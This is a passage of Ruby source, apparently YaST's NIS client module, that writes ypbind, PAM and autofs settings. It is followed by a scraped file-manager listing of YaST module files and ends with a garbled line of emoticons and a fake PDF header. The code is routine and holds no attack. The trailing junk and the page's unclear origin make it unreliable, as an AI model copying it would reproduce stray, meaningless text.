        Service.Enable("ypbind")

        if !SCR.Write(path(".etc.defaultdomain"), @domain)
          Report.Error(Message.ErrorWritingFile("/etc/defaultdomain"))
          return false
        end

        # so that dhcpcd cannot restore it
        SCR.Execute(path(".target.remove"), "/etc/yp.conf.sv")

        setNetconfigValues

        SCR.Execute(path(".target.bash"), "/sbin/netconfig update")

        SCR.Write(
          path(".sysconfig.ypbind.YPBIND_LOCAL_ONLY"),
          @local_only ? "yes" : "no"
        )
        SCR.Write(
          path(".sysconfig.ypbind.YPBIND_BROADCAST"),
          @global_broadcast ? "yes" : "no"
        )
        SCR.Write(
          path(".sysconfig.ypbind.YPBIND_BROKEN_SERVER"),
          @broken_server ? "yes" : "no"
        )
        SCR.Write(path(".sysconfig.ypbind.YPBIND_OPTIONS"), @options)
        if !SCR.Write(path(".sysconfig.ypbind"), nil)
          Report.Error(Message.ErrorWritingFile("/etc/sysconfig/ypbind"))
          return false
        end

        SCR.Write(
          path(".sysconfig.network.config.NETCONFIG_NIS_SETDOMAINNAME"),
          @policy == "" ? "no" : "yes"
        )

        if !SCR.Write(path(".sysconfig.network.dhcp"), nil)
          Report.Error(Message.ErrorWritingFile("/etc/sysconfig/network/dhcp"))
          return false
        end
        Autologin.Write(false)
      else
        Service.Disable("ypbind")
      end

      # TODO do as much as possible if one thing fails
      # especially WRT nis/autofs independence
      WriteNssConf()

      if @_autofs_allowed
        return false if !Nsswitch.WriteAutofs(@start && @_start_autofs, "nis")

        if @_start_autofs
          Service.Enable("autofs")
        else
          Service.Disable("autofs")
        end
      end

      progress_orig = Progress.set(false)
      SuSEFirewall.WriteOnly
      Progress.set(progress_orig)

      true
    end

    # Saves NIS configuration.
    # @return true on success
    def Write
      return false if !WriteOnly()

      # dialog label
      Progress.New(
        _("Writing NIS Configuration..."),
        " ",
        2,
        [
          # progress stage label
          _("Stop services"),
          # progress stage label
          _("Start services")
        ],
        [
          # progress step label
          _("Stopping services..."),
          # progress step label
          _("Starting services..."),
          # final progress step label
          _("Finished")
        ],
        ""
      )

      # help text
      Wizard.RestoreHelp(_("Writing NIS client settings"))

      Progress.NextStage

      if @dhcp_restart
        # Restart the dhcp client, if it is running, to parse the changed
        # options
        Service.RunInitScript("network", "restart-all-dhcp-clients")
      end

      Service.Stop("ypbind")

      Progress.NextStage

      if @start
        if Service.Status(@rpc_mapper) != 0
          if Service.Start(@rpc_mapper) == false
            Message.CannotStartService(@rpc_mapper)
            return false
          end
        end
        Builtins.sleep(1000) # workaround for bug #10428, ypbind restart

        if !Service.Start("ypbind")
          # error popup message
          Report.Error(_("Error while running ypclient."))
          return false
        end

        # only test for a server if domain not changed
        if !@domain_changed
          if SCR.Execute(path(".target.bash"), "/usr/bin/ypwhich >/dev/null") != 0
            # error popup message
            Report.Error(_("NIS server not found."))
            return false
          end
        end
      end

      # remove nscd cache
      if Package.Installed("nscd") && @modified
        SCR.Execute(path(".target.bash"), "/usr/sbin/nscd -i passwd")
        SCR.Execute(path(".target.bash"), "/usr/sbin/nscd -i group")
      end

      if @_autofs_allowed && @touched
        Service.Stop("autofs")

        Service.Start("autofs") if @_start_autofs
      end

      # adapt PAM if needed (bnc#848963)
      if @touched && Pam.Enabled("unix")
        if @start
          Pam.Add("unix-nis")
        else
          Pam.Remove("unix-nis")
        end 
      end

      SuSEFirewall.ActivateConfiguration

      # final stage
      Progress.NextStage

      true
    end

    # Return needed packages and packages to be removed
    # during autoinstallation.
    # @return [Hash] of lists.
    #
    #

    def AutoPackages
      install_pkgs = deep_copy(@required_packages)
      remove_pkgs = []
      { "install" => install_pkgs, "remove" => remove_pkgs }
    end

    publish :variable => :modified, :type => "boolean"
    publish :function => :SetModified, :type => "void ()"
    publish :function => :GetModified, :type => "boolean ()"
    publish :variable => :required_packages, :type => "list <string>"
    publish :variable => :start, :type => "boolean"
    publish :variable => :servers, :type => "list <string>"
    publish :function => :GetServers, :type => "string ()"
    publish :function => :SetServers, :type => "void (string)"
    publish :variable => :default_broadcast, :type => "boolean"
    publish :variable => :multidomain_servers, :type => "map <string, list>"
    publish :variable => :multidomain_broadcast, :type => "map <string, boolean>"
    publish :variable => :global_broadcast, :type => "boolean"
    publish :variable => :slp_domain, :type => "map"
    publish :variable => :policy, :type => "string"
    publish :function => :getNetconfigValues, :type => "void ()"
    publish :function => :setNetconfigValues, :type => "boolean ()"
    publish :function => :DomainChanged, :type => "boolean ()"
    publish :function => :GetDomain, :type => "string ()"
    publish :function => :SetDomain, :type => "void (string)"
    publish :variable => :dhcpcd_running, :type => "boolean"
    publish :variable => :dhcp_restart, :type => "boolean"
    publish :variable => :local_only, :type => "boolean"
    publish :variable => :broken_server, :type => "boolean"
    publish :variable => :options, :type => "string"
    publish :variable => :_autofs_allowed, :type => "boolean"
    publish :variable => :_start_autofs, :type => "boolean"
    publish :variable => :YpbindErrors, :type => "string"
    publish :function => :check_nisdomainname, :type => "boolean (string)"
    publish :function => :valid_nisdomainname, :type => "string ()"
    publish :function => :UsersByLdap, :type => "boolean ()"
    publish :function => :valid_address_nis, :type => "string ()"
    publish :function => :check_address_nis, :type => "boolean (string)"
    publish :variable => :touched, :type => "boolean"
    publish :function => :Touch, :type => "void (boolean)"
    publish :variable => :install_packages, :type => "list <string>"
    publish :function => :ProbePackages, :type => "string ()"
    publish :function => :Set, :type => "void (map)"
    publish :function => :Import, :type => "boolean (map)"
    publish :function => :Export, :type => "map ()"
    publish :function => :Summary, :type => "string ()"
    publish :function => :BrItem, :type => "string (string, string)"
    publish :function => :ShortSummary, :type => "string ()"
    publish :function => :Read, :type => "boolean ()"
    publish :function => :Fake, :type => "void ()"
    publish :function => :WriteNssConf, :type => "boolean ()"
    publish :function => :WriteOnly, :type => "boolean ()"
    publish :function => :Write, :type => "boolean ()"
    publish :function => :AutoPackages, :type => "map ()"
  end

  Nis = NisClass.new
  Nis.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
SLPAPI.pm File 879 B 0644
SSHAuthorizedKeys.rb File 3.74 KB 0644
SUSERelease.rb File 2.82 KB 0644
Samba.rb File 38.14 KB 0644
SambaAD.pm File 12.46 KB 0644
SambaConfig.pm File 37.4 KB 0644
SambaNetJoin.pm File 13.14 KB 0644
SambaNmbLookup.pm File 6.58 KB 0644
SambaWinbind.pm File 5.33 KB 0644
Security.rb File 27.79 KB 0644
Sequencer.rb File 12.6 KB 0644
Service.rb File 15.66 KB 0644
ServicesProposal.rb File 2.37 KB 0644
SignatureCheckCallbacks.rb File 11.1 KB 0644
SignatureCheckDialogs.rb File 36.74 KB 0644
SlideShow.rb File 33.27 KB 0644
SlideShowCallbacks.rb File 21.04 KB 0644
Slides.rb File 7.56 KB 0644
SlpService.rb File 5.37 KB 0644
Snapper.rb File 16.93 KB 0644
SnapperDbus.rb File 6.73 KB 0644
SourceDialogs.rb File 83.88 KB 0644
SourceManager.rb File 25.54 KB 0644
SourceManagerSLP.rb File 18.66 KB 0644
SpaceCalculation.rb File 35.03 KB 0644
Squid.rb File 51.25 KB 0644
SquidACL.rb File 16.84 KB 0644
SquidErrorMessages.rb File 5.59 KB 0644
Stage.rb File 3.6 KB 0644
Storage.rb File 234.29 KB 0644
StorageClients.rb File 6.68 KB 0644
StorageControllers.rb File 13.47 KB 0644
StorageDevices.rb File 19.86 KB 0644
StorageFields.rb File 45.67 KB 0644
StorageIcons.rb File 3.18 KB 0644
StorageInit.rb File 3.62 KB 0644
StorageProposal.rb File 222.63 KB 0644
StorageSettings.rb File 6.33 KB 0644
StorageSnapper.rb File 3.96 KB 0644
StorageUpdate.rb File 24.13 KB 0644
String.rb File 30.46 KB 0644
SuSEFirewall.rb File 1.29 KB 0644
SuSEFirewall4Network.rb File 12.24 KB 0644
SuSEFirewallCMDLine.rb File 53.73 KB 0644
SuSEFirewallExpertRules.rb File 13.11 KB 0644
SuSEFirewallProposal.rb File 25.99 KB 0644
SuSEFirewallServices.rb File 2.87 KB 0644
SuSEFirewallUI.rb File 2 KB 0644
Sudo.rb File 18.06 KB 0644
Summary.rb File 6.22 KB 0644
Support.rb File 14.83 KB 0644
Sysconfig.rb File 39.21 KB 0644
SystemFilesCopy.rb File 16.27 KB 0644
Systemd.rb File 4.88 KB 0644
TFTP.rb File 2.08 KB 0644
TabPanel.rb File 4.36 KB 0644
TablePopup.rb File 34.41 KB 0644
TftpServer.rb File 10.72 KB 0644
Timezone.rb File 35.64 KB 0644
TreePanel.rb File 5.24 KB 0644
TypeRepository.rb File 5.03 KB 0644
UIHelper.rb File 5.56 KB 0644
URL.rb File 22.61 KB 0644
URLRecode.rb File 1.88 KB 0644
Update.rb File 33.73 KB 0644
UserSettings.rb File 3.41 KB 0644
Users.pm File 193.07 KB 0644
UsersCache.pm File 32.48 KB 0644
UsersLDAP.pm File 51.51 KB 0644
UsersPasswd.pm File 24.75 KB 0644
UsersPluginKerberos.pm File 7.22 KB 0644
UsersPluginLDAPAll.pm File 12.98 KB 0644
UsersPluginLDAPPasswordPolicy.pm File 10.49 KB 0644
UsersPluginLDAPShadowAccount.pm File 11.49 KB 0644
UsersPluginQuota.pm File 12.5 KB 0644
UsersPlugins.pm File 4.73 KB 0644
UsersRoutines.pm File 20.04 KB 0644
UsersSimple.pm File 26.37 KB 0644
UsersUI.rb File 19.49 KB 0644
ValueBrowser.rb File 6.97 KB 0644
Vendor.rb File 6.1 KB 0644
VirtConfig.rb File 22.91 KB 0644
WOL.rb File 4.66 KB 0644
Wizard.rb File 53.13 KB 0644
WizardHW.rb File 18.16 KB 0644
WorkflowManager.rb File 53.17 KB 0644
XML.rb File 6.33 KB 0644
XVersion.rb File 3.7 KB 0644
Y2ModuleConfig.rb File 13.11 KB 0644
YPX.pm File 1.1 KB 0644
YaPI.pm File 5.3 KB 0644
services_manager.rb File 2.41 KB 0644
services_manager_service.rb File 18.04 KB 0644
services_manager_target.rb File 5.04 KB 0644
systemd_service.rb File 6.67 KB 0644
systemd_socket.rb File 3.61 KB 0644
systemd_target.rb File 3.53 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1